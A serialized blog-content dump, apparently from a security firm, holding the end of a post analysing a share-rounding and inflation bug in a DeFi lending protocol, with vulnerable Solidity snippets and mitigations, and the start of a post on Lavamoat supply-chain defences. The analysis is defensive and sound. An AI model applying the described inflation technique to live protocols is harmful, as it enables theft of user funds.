ResultsInBadDebt();\n}\n",[43682],{"type":23,"tag":64,"props":43683,"children":43684},{"__ignoreMap":7},[43685,43716,43724,43732,43739,43761,43774,43781,43802,43832,43844,43856,43863,43887,43904],{"type":23,"tag":481,"props":43686,"children":43687},{"class":483,"line":484},[43688,43693,43698,43702,43707,43712],{"type":23,"tag":481,"props":43689,"children":43690},{"style":943},[43691],{"type":28,"value":43692},"uint256",{"type":23,"tag":481,"props":43694,"children":43695},{"style":525},[43696],{"type":28,"value":43697}," withdrawValue ",{"type":23,"tag":481,"props":43699,"children":43700},{"style":514},[43701],{"type":28,"value":603},{"type":23,"tag":481,"props":43703,"children":43704},{"style":525},[43705],{"type":28,"value":43706}," WISE_ORACLE.",{"type":23,"tag":481,"props":43708,"children":43709},{"style":610},[43710],{"type":28,"value":43711},"getTokensInETH",{"type":23,"tag":481,"props":43713,"children":43714},{"style":525},[43715],{"type":28,"value":988},{"type":23,"tag":481,"props":43717,"children":43718},{"class":483,"line":351},[43719],{"type":23,"tag":481,"props":43720,"children":43721},{"style":525},[43722],{"type":28,"value":43723}," _poolToken,\n",{"type":23,"tag":481,"props":43725,"children":43726},{"class":483,"line":531},[43727],{"type":23,"tag":481,"props":43728,"children":43729},{"style":525},[43730],{"type":28,"value":43731}," _amount\n",{"type":23,"tag":481,"props":43733,"children":43734},{"class":483,"line":567},[43735],{"type":23,"tag":481,"props":43736,"children":43737},{"style":525},[43738],{"type":28,"value":675},{"type":23,"tag":481,"props":43740,"children":43741},{"class":483,"line":678},[43742,43746,43751,43756],{"type":23,"tag":481,"props":43743,"children":43744},{"style":514},[43745],{"type":28,"value":15054},{"type":23,"tag":481,"props":43747,"children":43748},{"style":525},[43749],{"type":28,"value":43750}," WISE_LENDING.",{"type":23,"tag":481,"props":43752,"children":43753},{"style":610},[43754],{"type":28,"value":43755},"lendingPoolData",{"type":23,"tag":481,"props":43757,"children":43758},{"style":525},[43759],{"type":28,"value":43760},"(_poolToken).collateralFactor\n",{"type":23,"tag":481,"props":43762,"children":43763},{"class":483,"line":784},[43764,43769],{"type":23,"tag":481,"props":43765,"children":43766},{"style":514},[43767],{"type":28,"value":43768}," /",{"type":23,"tag":481,"props":43770,"children":43771},{"style":525},[43772],{"type":28,"value":43773}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":481,"props":43775,"children":43776},{"class":483,"line":812},[43777],{"type":23,"tag":481,"props":43778,"children":43779},{"emptyLinePlaceholder":15},[43780],{"type":28,"value":1210},{"type":23,"tag":481,"props":43782,"children":43783},{"class":483,"line":825},[43784,43788,43793,43797],{"type":23,"tag":481,"props":43785,"children":43786},{"style":943},[43787],{"type":28,"value":27199},{"type":23,"tag":481,"props":43789,"children":43790},{"style":525},[43791],{"type":28,"value":43792}," state ",{"type":23,"tag":481,"props":43794,"children":43795},{"style":514},[43796],{"type":28,"value":603},{"type":23,"tag":481,"props":43798,"children":43799},{"style":525},[43800],{"type":28,"value":43801}," borrowPercentageCap\n",{"type":23,"tag":481,"props":43803,"children":43804},{"class":483,"line":843},[43805,43809,43813,43818,43823,43827],{"type":23,"tag":481,"props":43806,"children":43807},{"style":514},[43808],{"type":28,"value":15054},{"type":23,"tag":481,"props":43810,"children":43811},{"style":525},[43812],{"type":28,"value":578},{"type":23,"tag":481,"props":43814,"children":43815},{"style":610},[43816],{"type":28,"value":43817},"overallETHCollateralsWeighted",{"type":23,"tag":481,"props":43819,"children":43820},{"style":525},[43821],{"type":28,"value":43822},"(_nftId) ",{"type":23,"tag":481,"props":43824,"children":43825},{"style":514},[43826],{"type":28,"value":1876},{"type":23,"tag":481,"props":43828,"children":43829},{"style":525},[43830],{"type":28,"value":43831}," withdrawValue)\n",{"type":23,"tag":481,"props":43833,"children":43834},{"class":483,"line":864},[43835,43839],{"type":23,"tag":481,"props":43836,"children":43837},{"style":514},[43838],{"type":28,"value":43768},{"type":23,"tag":481,"props":43840,"children":43841},{"style":525},[43842],{"type":28,"value":43843}," PRECISION_FACTOR_E18\n",{"type":23,"tag":481,"props":43845,"children":43846},{"class":483,"line":873},[43847,43851],{"type":23,"tag":481,"props":43848,"children":43849},{"style":514},[43850],{"type":28,"value":29961},{"type":23,"tag":481,"props":43852,"children":43853},{"style":525},[43854],{"type":28,"value":43855}," borrowAmount;\n",{"type":23,"tag":481,"props":43857,"children":43858},{"class":483,"line":1125},[43859],{"type":23,"tag":481,"props":43860,"children":43861},{"emptyLinePlaceholder":15},[43862],{"type":28,"value":1210},{"type":23,"tag":481,"props":43864,"children":43865},{"class":483,"line":1142},[43866,43870,43875,43879,43883],{"type":23,"tag":481,"props":43867,"children":43868},{"style":535},[43869],{"type":28,"value":13069},{"type":23,"tag":481,"props":43871,"children":43872},{"style":525},[43873],{"type":28,"value":43874}," (state ",{"type":23,"tag":481,"props":43876,"children":43877},{"style":514},[43878],{"type":28,"value":6055},{"type":23,"tag":481,"props":43880,"children":43881},{"style":497},[43882],{"type":28,"value":9956},{"type":23,"tag":481,"props":43884,"children":43885},{"style":525},[43886],{"type":28,"value":12292},{"type":23,"tag":481,"props":43888,"children":43889},{"class":483,"line":1159},[43890,43895,43900],{"type":23,"tag":481,"props":43891,"children":43892},{"style":535},[43893],{"type":28,"value":43894}," revert",{"type":23,"tag":481,"props":43896,"children":43897},{"style":610},[43898],{"type":28,"value":43899}," ResultsInBadDebt",{"type":23,"tag":481,"props":43901,"children":43902},{"style":525},[43903],{"type":28,"value":1201},{"type":23,"tag":481,"props":43905,"children":43906},{"class":483,"line":1172},[43907],{"type":23,"tag":481,"props":43908,"children":43909},{"style":525},[43910],{"type":28,"value":1443},{"type":23,"tag":24,"props":43912,"children":43913},{},[43914],{"type":28,"value":43915},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":43917,"children":43918},{},[43919],{"type":28,"value":43920},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":43922,"children":43923},{},[43924,43926,43932],{"type":28,"value":43925},"And indeed, ",{"type":23,"tag":190,"props":43927,"children":43930},{"href":43928,"rel":43929},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[194],[43931],{"type":28,"value":43636},{"type":28,"value":43933}," rounds up the share value.",{"type":23,"tag":435,"props":43935,"children":43937},{"className":2024,"code":43936,"language":2023,"meta":7,"style":7},"function _calculateShares(\n uint256 _product,\n uint256 _pseudo,\n bool _maxSharePrice\n)\n private\n pure\n returns (uint256)\n{\n return _maxSharePrice == true\n ? _product % _pseudo == 0\n ? _product / _pseudo\n : _product / _pseudo + 1\n : _product / _pseudo;\n}\n",[43938],{"type":23,"tag":64,"props":43939,"children":43940},{"__ignoreMap":7},[43941,43957,43974,43990,44003,44010,44018,44026,44046,44053,44074,44095,44117,44146,44167],{"type":23,"tag":481,"props":43942,"children":43943},{"class":483,"line":484},[43944,43948,43953],{"type":23,"tag":481,"props":43945,"children":43946},{"style":497},[43947],{"type":28,"value":28892},{"type":23,"tag":481,"props":43949,"children":43950},{"style":610},[43951],{"type":28,"value":43952}," _calculateShares",{"type":23,"tag":481,"props":43954,"children":43955},{"style":525},[43956],{"type":28,"value":988},{"type":23,"tag":481,"props":43958,"children":43959},{"class":483,"line":351},[43960,43965,43970],{"type":23,"tag":481,"props":43961,"children":43962},{"style":943},[43963],{"type":28,"value":43964}," uint256",{"type":23,"tag":481,"props":43966,"children":43967},{"style":508},[43968],{"type":28,"value":43969}," _product",{"type":23,"tag":481,"props":43971,"children":43972},{"style":525},[43973],{"type":28,"value":1033},{"type":23,"tag":481,"props":43975,"children":43976},{"class":483,"line":531},[43977,43981,43986],{"type":23,"tag":481,"props":43978,"children":43979},{"style":943},[43980],{"type":28,"value":43964},{"type":23,"tag":481,"props":43982,"children":43983},{"style":508},[43984],{"type":28,"value":43985}," _pseudo",{"type":23,"tag":481,"props":43987,"children":43988},{"style":525},[43989],{"type":28,"value":1033},{"type":23,"tag":481,"props":43991,"children":43992},{"class":483,"line":567},[43993,43998],{"type":23,"tag":481,"props":43994,"children":43995},{"style":943},[43996],{"type":28,"value":43997}," bool",{"type":23,"tag":481,"props":43999,"children":44000},{"style":508},[44001],{"type":28,"value":44002}," _maxSharePrice\n",{"type":23,"tag":481,"props":44004,"children":44005},{"class":483,"line":678},[44006],{"type":23,"tag":481,"props":44007,"children":44008},{"style":525},[44009],{"type":28,"value":675},{"type":23,"tag":481,"props":44011,"children":44012},{"class":483,"line":784},[44013],{"type":23,"tag":481,"props":44014,"children":44015},{"style":497},[44016],{"type":28,"value":44017}," private\n",{"type":23,"tag":481,"props":44019,"children":44020},{"class":483,"line":812},[44021],{"type":23,"tag":481,"props":44022,"children":44023},{"style":497},[44024],{"type":28,"value":44025}," pure\n",{"type":23,"tag":481,"props":44027,"children":44028},{"class":483,"line":825},[44029,44034,44038,44042],{"type":23,"tag":481,"props":44030,"children":44031},{"style":535},[44032],{"type":28,"value":44033}," returns",{"type":23,"tag":481,"props":44035,"children":44036},{"style":525},[44037],{"type":28,"value":578},{"type":23,"tag":481,"props":44039,"children":44040},{"style":943},[44041],{"type":28,"value":43692},{"type":23,"tag":481,"props":44043,"children":44044},{"style":525},[44045],{"type":28,"value":675},{"type":23,"tag":481,"props":44047,"children":44048},{"class":483,"line":843},[44049],{"type":23,"tag":481,"props":44050,"children":44051},{"style":525},[44052],{"type":28,"value":8366},{"type":23,"tag":481,"props":44054,"children":44055},{"class":483,"line":864},[44056,44060,44065,44069],{"type":23,"tag":481,"props":44057,"children":44058},{"style":535},[44059],{"type":28,"value":14481},{"type":23,"tag":481,"props":44061,"children":44062},{"style":525},[44063],{"type":28,"value":44064}," _maxSharePrice ",{"type":23,"tag":481,"props":44066,"children":44067},{"style":514},[44068],{"type":28,"value":6055},{"type":23,"tag":481,"props":44070,"children":44071},{"style":497},[44072],{"type":28,"value":44073}," true\n",{"type":23,"tag":481,"props":44075,"children":44076},{"class":483,"line":873},[44077,44082,44087,44091],{"type":23,"tag":481,"props":44078,"children":44079},{"style":514},[44080],{"type":28,"value":44081}," ?",{"type":23,"tag":481,"props":44083,"children":44084},{"style":525},[44085],{"type":28,"value":44086}," _product % _pseudo ",{"type":23,"tag":481,"props":44088,"children":44089},{"style":514},[44090],{"type":28,"value":6055},{"type":23,"tag":481,"props":44092,"children":44093},{"style":551},[44094],{"type":28,"value":21789},{"type":23,"tag":481,"props":44096,"children":44097},{"class":483,"line":1125},[44098,44103,44108,44112],{"type":23,"tag":481,"props":44099,"children":44100},{"style":514},[44101],{"type":28,"value":44102}," ?",{"type":23,"tag":481,"props":44104,"children":44105},{"style":525},[44106],{"type":28,"value":44107}," _product ",{"type":23,"tag":481,"props":44109,"children":44110},{"style":514},[44111],{"type":28,"value":2130},{"type":23,"tag":481,"props":44113,"children":44114},{"style":525},[44115],{"type":28,"value":44116}," _pseudo\n",{"type":23,"tag":481,"props":44118,"children":44119},{"class":483,"line":1142},[44120,44125,44129,44133,44138,44142],{"type":23,"tag":481,"props":44121,"children":44122},{"style":514},[44123],{"type":28,"value":44124}," :",{"type":23,"tag":481,"props":44126,"children":44127},{"style":525},[44128],{"type":28,"value":44107},{"type":23,"tag":481,"props":44130,"children":44131},{"style":514},[44132],{"type":28,"value":2130},{"type":23,"tag":481,"props":44134,"children":44135},{"style":525},[44136],{"type":28,"value":44137}," _pseudo ",{"type":23,"tag":481,"props":44139,"children":44140},{"style":514},[44141],{"type":28,"value":1930},{"type":23,"tag":481,"props":44143,"children":44144},{"style":551},[44145],{"type":28,"value":16939},{"type":23,"tag":481,"props":44147,"children":44148},{"class":483,"line":1159},[44149,44154,44158,44162],{"type":23,"tag":481,"props":44150,"children":44151},{"style":514},[44152],{"type":28,"value":44153}," :",{"type":23,"tag":481,"props":44155,"children":44156},{"style":525},[44157],{"type":28,"value":44107},{"type":23,"tag":481,"props":44159,"children":44160},{"style":514},[44161],{"type":28,"value":2130},{"type":23,"tag":481,"props":44163,"children":44164},{"style":525},[44165],{"type":28,"value":44166}," _pseudo;\n",{"type":23,"tag":481,"props":44168,"children":44169},{"class":483,"line":1172},[44170],{"type":23,"tag":481,"props":44171,"children":44172},{"style":525},[44173],{"type":28,"value":1443},{"type":23,"tag":24,"props":44175,"children":44176},{},[44177,44182],{"type":23,"tag":127,"props":44178,"children":44179},{},[44180],{"type":28,"value":44181},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":44183},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":44185,"children":44186},{},[44187],{"type":28,"value":44188},"This is a really tricky invariant to reason about!",{"type":23,"tag":31,"props":44190,"children":44192},{"id":44191},"root-cause",[44193],{"type":28,"value":44194},"Root Cause",{"type":23,"tag":24,"props":44196,"children":44197},{},[44198],{"type":28,"value":44199},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":44201,"children":44202},{},[44203],{"type":28,"value":44204},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":435,"props":44206,"children":44208},{"className":2024,"code":44207,"language":2023,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[44209],{"type":23,"tag":64,"props":44210,"children":44211},{"__ignoreMap":7},[44212],{"type":23,"tag":481,"props":44213,"children":44214},{"class":483,"line":484},[44215,44220,44224,44229,44233],{"type":23,"tag":481,"props":44216,"children":44217},{"style":525},[44218],{"type":28,"value":44219},"totalDepositShares ",{"type":23,"tag":481,"props":44221,"children":44222},{"style":514},[44223],{"type":28,"value":2120},{"type":23,"tag":481,"props":44225,"children":44226},{"style":525},[44227],{"type":28,"value":44228}," _amount ",{"type":23,"tag":481,"props":44230,"children":44231},{"style":514},[44232],{"type":28,"value":2130},{"type":23,"tag":481,"props":44234,"children":44235},{"style":525},[44236],{"type":28,"value":44237}," pseudoTotalPool\n",{"type":23,"tag":24,"props":44239,"children":44240},{},[44241],{"type":28,"value":44242},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":44244,"children":44245},{},[44246,44248,44252],{"type":28,"value":44247},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":127,"props":44249,"children":44250},{},[44251],{"type":28,"value":17414},{"type":28,"value":44253}," integer division?",{"type":23,"tag":31,"props":44255,"children":44257},{"id":44256},"mitigations",[44258],{"type":28,"value":44259},"Mitigations",{"type":23,"tag":24,"props":44261,"children":44262},{},[44263],{"type":28,"value":44264},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":44266,"children":44267},{},[44268,44270,44277],{"type":28,"value":44269},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":190,"props":44271,"children":44274},{"href":44272,"rel":44273},"https://twitter.com/danielvf/status/1746306320553152615",[194],[44275],{"type":28,"value":44276},"@danielvf notes",{"type":28,"value":44278},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":435,"props":44280,"children":44282},{"className":2024,"code":44281,"language":2023,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[44283],{"type":23,"tag":64,"props":44284,"children":44285},{"__ignoreMap":7},[44286,44310,44357,44391],{"type":23,"tag":481,"props":44287,"children":44288},{"class":483,"line":484},[44289,44293,44298,44302,44306],{"type":23,"tag":481,"props":44290,"children":44291},{"style":535},[44292],{"type":28,"value":13069},{"type":23,"tag":481,"props":44294,"children":44295},{"style":525},[44296],{"type":28,"value":44297}," (_totalSupply ",{"type":23,"tag":481,"props":44299,"children":44300},{"style":514},[44301],{"type":28,"value":6055},{"type":23,"tag":481,"props":44303,"children":44304},{"style":551},[44305],{"type":28,"value":554},{"type":23,"tag":481,"props":44307,"children":44308},{"style":525},[44309],{"type":28,"value":12292},{"type":23,"tag":481,"props":44311,"children":44312},{"class":483,"line":351},[44313,44318,44322,44327,44332,44337,44342,44347,44352],{"type":23,"tag":481,"props":44314,"children":44315},{"style":525},[44316],{"type":28,"value":44317}," liquidity ",{"type":23,"tag":481,"props":44319,"children":44320},{"style":514},[44321],{"type":28,"value":603},{"type":23,"tag":481,"props":44323,"children":44324},{"style":525},[44325],{"type":28,"value":44326}," Math.",{"type":23,"tag":481,"props":44328,"children":44329},{"style":610},[44330],{"type":28,"value":44331},"sqrt",{"type":23,"tag":481,"props":44333,"children":44334},{"style":525},[44335],{"type":28,"value":44336},"(amount0.",{"type":23,"tag":481,"props":44338,"children":44339},{"style":610},[44340],{"type":28,"value":44341},"mul",{"type":23,"tag":481,"props":44343,"children":44344},{"style":525},[44345],{"type":28,"value":44346},"(amount1)).",{"type":23,"tag":481,"props":44348,"children":44349},{"style":610},[44350],{"type":28,"value":44351},"sub",{"type":23,"tag":481,"props":44353,"children":44354},{"style":525},[44355],{"type":28,"value":44356},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":481,"props":44358,"children":44359},{"class":483,"line":531},[44360,44365,44369,44373,44377,44381,44386],{"type":23,"tag":481,"props":44361,"children":44362},{"style":610},[44363],{"type":28,"value":44364}," _mint",{"type":23,"tag":481,"props":44366,"children":44367},{"style":525},[44368],{"type":28,"value":618},{"type":23,"tag":481,"props":44370,"children":44371},{"style":943},[44372],{"type":28,"value":30156},{"type":23,"tag":481,"props":44374,"children":44375},{"style":525},[44376],{"type":28,"value":618},{"type":23,"tag":481,"props":44378,"children":44379},{"style":551},[44380],{"type":28,"value":1568},{"type":23,"tag":481,"props":44382,"children":44383},{"style":525},[44384],{"type":28,"value":44385},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":481,"props":44387,"children":44388},{"style":488},[44389],{"type":28,"value":44390},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":481,"props":44392,"children":44393},{"class":483,"line":567},[44394,44399,44403],{"type":23,"tag":481,"props":44395,"children":44396},{"style":525},[44397],{"type":28,"value":44398},"} ",{"type":23,"tag":481,"props":44400,"children":44401},{"style":535},[44402],{"type":28,"value":836},{"type":23,"tag":481,"props":44404,"children":44405},{"style":525},[44406],{"type":28,"value":809},{"type":23,"tag":24,"props":44408,"children":44409},{},[44410,44412,44419],{"type":28,"value":44411},"Alternatively, ",{"type":23,"tag":190,"props":44413,"children":44416},{"href":44414,"rel":44415},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[194],[44417],{"type":28,"value":44418},"storing the conversion rate separately",{"type":28,"value":44420}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":435,"props":44422,"children":44424},{"className":2024,"code":44423,"language":2023,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[44425],{"type":23,"tag":64,"props":44426,"children":44427},{"__ignoreMap":7},[44428,44463],{"type":23,"tag":481,"props":44429,"children":44430},{"class":483,"line":484},[44431,44436,44440,44445,44449,44454,44458],{"type":23,"tag":481,"props":44432,"children":44433},{"style":525},[44434],{"type":28,"value":44435},"accrualIndices.borrowed ",{"type":23,"tag":481,"props":44437,"children":44438},{"style":514},[44439],{"type":28,"value":603},{"type":23,"tag":481,"props":44441,"children":44442},{"style":525},[44443],{"type":28,"value":44444}," accrualIndices.borrowed ",{"type":23,"tag":481,"props":44446,"children":44447},{"style":514},[44448],{"type":28,"value":2120},{"type":23,"tag":481,"props":44450,"children":44451},{"style":525},[44452],{"type":28,"value":44453}," borrowInterestFactor ",{"type":23,"tag":481,"props":44455,"children":44456},{"style":514},[44457],{"type":28,"value":2130},{"type":23,"tag":481,"props":44459,"children":44460},{"style":525},[44461],{"type":28,"value":44462}," precision;\n",{"type":23,"tag":481,"props":44464,"children":44465},{"class":483,"line":351},[44466,44471,44475,44480,44484,44489,44493],{"type":23,"tag":481,"props":44467,"children":44468},{"style":525},[44469],{"type":28,"value":44470},"accrualIndices.deposited ",{"type":23,"tag":481,"props":44472,"children":44473},{"style":514},[44474],{"type":28,"value":603},{"type":23,"tag":481,"props":44476,"children":44477},{"style":525},[44478],{"type":28,"value":44479}," accrualIndices.deposited ",{"type":23,"tag":481,"props":44481,"children":44482},{"style":514},[44483],{"type":28,"value":2120},{"type":23,"tag":481,"props":44485,"children":44486},{"style":525},[44487],{"type":28,"value":44488}," depositInterestFactor ",{"type":23,"tag":481,"props":44490,"children":44491},{"style":514},[44492],{"type":28,"value":2130},{"type":23,"tag":481,"props":44494,"children":44495},{"style":525},[44496],{"type":28,"value":44462},{"type":23,"tag":24,"props":44498,"children":44499},{},[44500],{"type":28,"value":44501},"We also want to note some general takeaways:",{"type":23,"tag":24,"props":44503,"children":44504},{},[44505,44507,44512],{"type":28,"value":44506},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":127,"props":44508,"children":44509},{},[44510],{"type":28,"value":44511},"apply the state changes and check the invariant",{"type":28,"value":199},{"type":23,"tag":24,"props":44514,"children":44515},{},[44516],{"type":28,"value":44517},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":24,"props":44519,"children":44520},{},[44521],{"type":28,"value":44522},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":31,"props":44524,"children":44525},{"id":26445},[44526],{"type":28,"value":16443},{"type":23,"tag":24,"props":44528,"children":44529},{},[44530],{"type":28,"value":44531},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":24,"props":44533,"children":44534},{},[44535],{"type":28,"value":44536},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":2918,"props":44538,"children":44539},{},[44540],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":44542},[44543,44544,44545,44549,44550,44551],{"id":26528,"depth":351,"text":26531},{"id":43465,"depth":351,"text":43468},{"id":43584,"depth":351,"text":43587,"children":44546},[44547,44548],{"id":43595,"depth":531,"text":43598},{"id":43633,"depth":531,"text":43636},{"id":44191,"depth":351,"text":44194},{"id":44256,"depth":351,"text":44259},{"id":26445,"depth":351,"text":16443},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":44556,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44557,"description":44558,"author":44559,"image":44560,"date":44562,"isFeatured":15,"onBlogPage":15,"body":44563,"_type":358,"_id":48043,"_source":360,"_file":48044,"_stem":48045,"_extension":363},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[28716,28715],{"src":44561},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":44564,"toc":48022},[44565,44569,44590,44595,44599,44604,44643,44649,44664,44682,44687,44692,44697,44710,45017,45043,45056,45061,45066,45080,45085,45098,45112,45343,45364,45399,45405,45410,45415,45629,45650,45656,45668,45758,45780,45816,45824,45842,46099,46125,46131,46145,46343,46362,46769,46782,46788,46807,46900,46905,46911,46924,46937,47023,47029,47041,47126,47138,47151,47157,47162,47176,47503,47508,47513,47519,47545,47600,47620,47673,47679,47684,47703,47714,47908,47914,47937,47943,47948,47961,47966,47971,47975,47980,47988,48018],{"type":23,"tag":31,"props":44566,"children":44567},{"id":16452},[44568],{"type":28,"value":16455},{"type":23,"tag":24,"props":44570,"children":44571},{},[44572,44579,44581,44588],{"type":23,"tag":190,"props":44573,"children":44576},{"href":44574,"rel":44575},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[194],[44577],{"type":28,"value":44578},"Supply chain",{"type":28,"value":44580}," attacks are becoming ",{"type":23,"tag":190,"props":44582,"children":44585},{"href":44583,"rel":44584},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[194],[44586],{"type":28,"value":44587},"increasingly popular in Web3",{"type":28,"value":44589},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":24,"props":44591,"children":44592},{},[44593],{"type":28,"value":44594},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":7092,"props":44596,"children":44597},{"id":26528},[44598],{"type":28,"value":26531},{"type":23,"tag":24,"props":44600,"children":44601},{},[44602],{"type":28,"value":44603},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":73,"props":44605,"children":44606},{},[44607,44619,44631],{"type":23,"tag":77,"props":44608,"children":44609},{},[44610,44617],{"type":23,"tag":190,"props":44611,"children":44614},{"href":44612,"rel":44613},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[194],[44615],{"type":28,"value":44616},"Lavamoat Browserify",{"type":28,"value":44618}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":77,"props":44620,"children":44621},{},[44622,44629],{"type":23,"tag":190,"props":44623,"children":44626},{"href":44624,"rel":44625},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[194],[44627],{"type":28,"value":44628},"NodeJS Lavamoat",{"type":28,"value":44630}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":77,"props":44632,"children":44633},{},[44634,44641],{"type":23,"tag":190,"props":44635,"children":44638},{"href":44636,"rel":44637},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[194],[44639],{"type":28,"value":44640},"Lavamoat allow-scripts",{"type":28,"value":44642}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":7092,"props":44644,"children":44646},{"id":44645},"lavamoats-security-features",[44647],{"type":28,"value":44648},"Lavamoat's Security Features",{"type":23,"tag":24,"props":44650,"children":44651},{},[44652,44654,44662],{"type":28,"value":44653},"The three most important features of Lavamoat",{"type":23,"tag":12963,"props":44655,"children":44656},{},[44657],{"type":23,"tag":190,"props":44658,"children":44660},{"href":27137,"ariaDescribedBy":44659,"dataFootnoteRef":7,"id":27139},[12970],[44661],{"type":28,"value":1558},{"type":28,"value":44663}," are:",{"type":23,"tag":14178,"props":44665,"children":44666},{},[44667,44672,44677],{"type":23,"tag":77,"props":44668,"children":44669},{},[44670],{"type":28,"value":44671},"Policy Files",{"type":23,"tag":77,"props":44673,"children":44674},{},[44675],{"type":28,"value":44676},"NPM Anti Hijacking",{"type":23,"tag":77,"props":44678,"children":44679},{},[44680],{"type":28,"value":44681},"Scuttling",{"type":23,"tag":24,"props":44683,"children":44684},{},[44685],{"type":28,"value":44686},"Let's go over them one by one.",{"type":23,"tag":16388,"props":44688,"children":44690},{"id":44689},"policy-files",[44691],{"type":28,"value":44671},{"type":23,"tag":24,"props":44693,"children":44694},{},[44695],{"type":28,"value":44696},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":24,"props":44698,"children":44699},{},[44700,44702,44709],{"type":28,"value":44701},"For example, take the ",{"type":23,"tag":190,"props":44703,"children":44706},{"href":44704,"rel":44705},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[194],[44707],{"type":28,"value":44708},"Metamask Snap policy file",{"type":28,"value":287},{"type":23,"tag":435,"props":44711,"children":44713},{"className":28878,"code":44712,"language":28880,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[44714],{"type":23,"tag":64,"props":44715,"children":44716},{"__ignoreMap":7},[44717,44729,44744,44764,44783,44803,44823,44843,44863,44883,44904,44924,44943,44959,44966,44981,45001],{"type":23,"tag":481,"props":44718,"children":44719},{"class":483,"line":484},[44720,44725],{"type":23,"tag":481,"props":44721,"children":44722},{"style":1805},[44723],{"type":28,"value":44724}," 